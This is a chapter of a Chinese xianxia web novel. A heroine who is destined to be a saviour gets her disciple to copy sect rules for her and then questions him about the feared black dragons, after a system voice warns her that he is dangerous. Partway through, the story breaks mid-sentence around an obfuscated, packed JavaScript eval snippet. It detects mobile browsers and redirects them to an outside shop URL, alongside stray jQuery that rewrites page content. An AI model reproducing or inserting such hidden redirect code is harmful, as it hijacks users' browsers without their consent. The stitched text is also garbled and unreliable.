“何事,染儿但说无妨,”芦苍此刻完全是有求必应的慈父状态。
“女儿想……学习一些防身的法术,不求如师兄师姐们那般高深,只求能在危急关头,有几分自保之力,不至于任人宰割,”她声音越说越低,带着后怕。
大殿内,忽然陷入一片死寂。
她屏住呼吸,紧紧盯着芦苍的脸。
她看到,他脸上那属于父亲的疼惜和愤怒正在以肉眼可见的速度褪色。
然后僵硬地转过身,重新走回高台,坐回那张象征着权威的掌门座椅上。
当再次抬起头看向芦染时,脸上已是另一副神色,声音也恢复了那种带着威严却缺乏情感波动的语调,“救世主职责重大,当时刻心无旁骛,专注于稳固天地灵力。”
“习练攻伐之术,易滋生心魔,有违天道本意。”
他顿了顿,最后说道:“芦染仙子私自下山,惊扰凡俗,罚抄《仙芝宗门规》一百遍,立刻带回清心阁,静思己过,非令不得出。”
“陈枫,监督执行。”
果然……
芦染心底那点刚刚升起的希望小火苗,被一盆冰水浇得透心凉。
她几乎要瘫倒在地,有气无力地摆摆手,阻止了想要上前请她的弟子,“这个我熟,我自己去。”
她挣扎着自己站起来,腿因为久跪而有些发麻,踉跄了一下。
旁边的墨澜之立刻上前,再次扶住她。
芦染看了他一眼,转头对已经恢复掌门模式的芦苍道:“让他监督就行,别人看着,我写不进去。”
芦苍的目光在墨澜之身上停留了一瞬,他没有反对,只是微微颔首。
*
清心阁内。
长案上,厚厚的《仙芝宗门规》和宣纸已经备好,旁边是墨锭和砚台,一切如同无数次惩罚的复刻。
芦染一屁股坐在案前,看着那密密麻麻的小字,只觉得手腕已经开始作痛。
她认命地拿起笔,蘸了墨,开始抄写。
墨澜之安静地跪坐在她对面的蒲团上,挽起袖子,露出线条流畅的小臂为她研墨。
动作不疾不徐,墨锭与砚台摩擦发出规律而细微的沙沙声,在寂静的房间里显得格外清晰。
抄了不过三四行,芦染就觉得手腕酸涩,心思更是早已飞远。
她停下笔,活动了一下手指,目光落在对面专心研墨的少年身上。
烛光映着他低垂的侧脸,长长的睫毛扑朔迷离,神情专注得仿佛在完成什么神圣的仪式。
于是一个念头,忽然冒了出来。
她将笔搁在笔山上,一只手撑着脸颊,歪着头,用一种极其苦恼又疲惫的语气开口,“为师写这个,写得手腕都快断了,眼睛也花了,墨澜之,你身为弟子,看到师父如此辛苦,难道……就不觉得应该心疼一下吗?”
正在研墨的人,动作突然停了下来。
他抬起头,眼眸望向她,里面盛着清晰的困惑,似乎不太理解她话里的弯弯绕绕,表情看起来竟有几分懵懂的纯真。
是真傻,还是装傻?
芦染懒得猜,也懒得再绕圈子。
她向来喜欢直来直往。
她直接站起身,走到他面前,将手中的毛笔塞进他手里,然后指了指案上的纸墨,用不容置疑的语气命令道:“你,帮我写。”
墨澜之拿着笔,看看她,又看看案上的门规,脸上那点懵懂迅速转化为一种无奈的顺从。
他没有拒绝,甚至没有多问一句,只是默默起身和她交换了位置。
芦染满意地坐到他刚才的蒲团上,接过了研墨的工作,兴致勃勃地看着他端坐案前,提笔蘸墨。
笔尖落下,墨迹在宣纸上晕开。
芦染看着那逐渐成形的字迹,眼睛慢慢睁大。
竟然……真的和她的一模一样!
连那种因为不耐烦而略显潦草,偶尔带出的小勾都模仿得惟妙惟肖。
这绝不是简单模仿字形就能做到的,需要对她的书写习惯有极其细致的观察和理解。
她一边慢悠悠地研着墨,一边像个监工一样提醒,语气里带着得逞的小得意,“记得抄写门规要虔诚,每一笔最好都注入一点点灵力,以示反省之心深刻,这可是规矩。”
原来监督别人干活,是这么爽的一件事。
她过去那些苦哈哈自己抄写的日子,真是白过了。
就在她心情愉悦地盘算着如何将压榨徒弟制度化时,那个在脑海中沉寂了许久的冰冷的机械音,毫无预兆地再次响起:【检测到宿主与目标人物墨澜之交互频率及信任度持续上升】
【目标人物墨澜之危险系数极高】
【立即疏远,减少接触】
【请宿主尽快远离危险源】
研墨的手,骤然顿住。
墨锭悬在砚台上方,一滴浓黑的墨汁滴落,在尚未研磨开的清水里,缓缓化开像一团不祥的阴影。
芦染缓缓抬起眼睫,看向对面正垂眸专注抄写,侧脸在烛光下显得安静而柔和的少年。
危险系数……极高?
系统在怕他?
还是在怕她和他接触?
她的目光不由自主地飘向他腰间,那里悬着一枚不起眼的黑色鳞片,和那天她送的玉佩挂在一起。
与她藏在怀里的那枚,质地一模一样。
一个念头猛然冒出。
她重新开始研墨,动作恢复如常,仿佛刚才的停顿从未发生。
声音也放得轻松随意,像是闲聊般开口,“对了,墨澜之,为师以前总爱看些话本子,上面总写什么翱翔九天的黑龙,你说这世间,难道真的有龙存在吗?”
她的语速平稳,眼神一瞬不瞬地看着墨澜之的每一丝反应。
笔尖,微不可察地顿了一下。
一滴墨,在“虔”字的最后一笔末端,晕开了一个突兀的墨点。
他停下了笔,抬起头,烛光跃入他金眸深处,带着一片澄澈又莫测的光泽。
他看着她,嘴角似乎弯起一个极淡到几乎看不见的弧度。
“龙吗……”
“弟子……有幸,见过几次。”
笔尖悬在宣纸上,墨汁将滴未滴。
墨澜之维持着垂眸书写的姿态,可芦染清晰地看到,他握笔的手握紧了几分。
“见过几次呢?”她的声音带着好奇地探究意味。
她甚至向前倾了倾身子,双臂交叠搁在案几边缘,下巴枕在手背上,就这样拉近了距离,直直地望进他低垂的眼眸里。
烛火在她眼中跳跃,映出一种纯然的天真与执着。
四目相对的刹那。
墨澜之神情颤动了一下,再开口时,声音比平日更低哑了几分,带着一种刻意压抑的紧绷,“芦染仙子。”
他避开她的目光,重新将视线投回笔下的字迹,笔尖却迟迟没有落下,“还是莫要打听这些不祥之物为好。”
他顿了顿,似乎在斟酌措辞,最后缓慢道:“您是天道钦定的救世主,身系苍生福祉,当心无旁骛,专注大道,对这些虚无缥缈的传说或是不容于世的异类产生过多好奇恐有碍修行,亦不合身份。”
他说得又轻又缓,却又目的性极强,想要引开话题,试图将她探询的目光隔开。
可芦染是什么人?
她是越被禁止越被阻拦,就好奇的性子。
“不合身份?”她重复着这个词,尾音微微上扬,带着点俏皮的反问:“可我觉得,龙听起来很可爱啊。”
她索性收回撑着下巴的手,坐直了身体,开始用一种带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481039|201738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着梦幻色彩的语气描绘,“我想象中的小龙宝宝,应该是软乎乎的,鳞片还没长硬,摸上去凉丝丝滑溜溜的,然后抱在怀里一定很舒服,它们是不是还有一对小小的翅膀……”
她说着,自己先笑了起来,眉眼弯弯仿佛真的看到了那样一只可爱的小生灵。
但笑着笑着,她忽然停住了。
某个埋藏在意识模糊的影像片段,毫无预兆地猛然在脑海中浮现出来。
然后,她眼睛忽然亮了起来,像是终于抓住了那飘忽的思绪。
她重新看向对面的人,但这一次,目光里少了些玩笑,多了几分疑惑和不认同。
她像是在对自己低语,又像是在对他诉说:“不对啊,我好像在……很久很久以前,真的见过。”
墨澜之捏着笔杆的手指,骨节再次收紧。
芦染仿佛未觉,继续用那种平静般的语调说下去,“我听过的故事里说,它们被这天下人视作不祥之物。”
她的目光落在虚空处,仿佛在阅读一本无形的史册。
“起因,好像是在很多年前,某位正值壮年野心勃勃的少年皇帝,不知从哪里听来的荒诞说法,认为以真龙之骨装饰宫殿,可聚天下王气,彰显无上霸气,保江山永固。”
她嘴角勾起一个微带讥诮的弧度,“于是,他派遣了麾下最精锐的军队,最强大的修士深入险地,意图猎杀黑龙,取其龙骨。”
芦染的声音低了下去,带着一丝历史的寒意,“至于猎杀的结果……史书讳莫如深,民间却传言纷纷,据说,皇帝派去的人,在遭遇黑龙时无一活口,连那位据说已至化神期的国师,也重伤遁走,不久便郁郁而终。”
她抬起眼,目光清亮地看向墨澜之。
“经此一事,黑龙一族便彻底被这人间正道所不容,它们被从一切典籍记载中抹去,被冠以凶残、暴戾、与人为敌的恶名,每一代的人类,在襁褓中就被灌输黑龙是灾厄的化身,是必须被铲除的邪物。”
她的语气渐渐带上了清晰的嘲讽,“凡间的说书先生茶余饭后最爱添油加醋,他们说黑龙生性嗜血以人肉为食以人血为饮,他们说,若在荒野山林间不幸遭遇黑龙必要先下手为强,否则必遭其反噬尸骨无存……”
她停顿了一下,轻轻摇了摇头。
“可是,墨澜之,”她叫他的名字,声音很轻,“我不信这些。”
“我见过谣言如何杀人,寥寥几句毫无根据的揣测,就能让一个清白之人身败名裂,让一个和睦的家分崩离析,更何况是千年前,一场由帝王贪欲引发却以惨败收场的战争?”
她眼中闪过一丝冷锐的光,“胜者书写历史,败者自然就被钉在耻辱柱上,承受千秋万代的唾骂,至于真相,谁在乎呢。”
她将目光从虚空收回,重新聚焦在对面少年那张努力维持平静却已然泄露太多的脸上。
看着他低垂的眼睫,紧抿的唇线……
然后,她伸手拿起旁边小几上已经微凉的茶杯,凑到唇边,慢条斯理地啜饮了一小口。
清茶入喉,润了润有些干涩的嗓子。
接着,她用一种近乎傲慢的姿态,清晰地说道:“皇上……又算得了什么?”
她的声音不高,却掷地有声,“我可是救世主啊。”
她看着墨澜之因这句话而猛然抬起带着惊愕和更多复杂难言情绪的眼眸,笑容愈发张扬,也愈发笃定。
“这个世界上,难道不应该是救世主最大吗?”
她放下茶杯,瓷器与木桌轻轻碰撞,发出清脆的声音。
“所以,”她向前倾身,烛光在她眼中灼灼燃烧,映出不容置疑的光芒。
她一字一顿,如同颁布神谕,又如同诉说一个最简单不过的真理。
“我说黑龙最可爱,自然就是最可爱的。”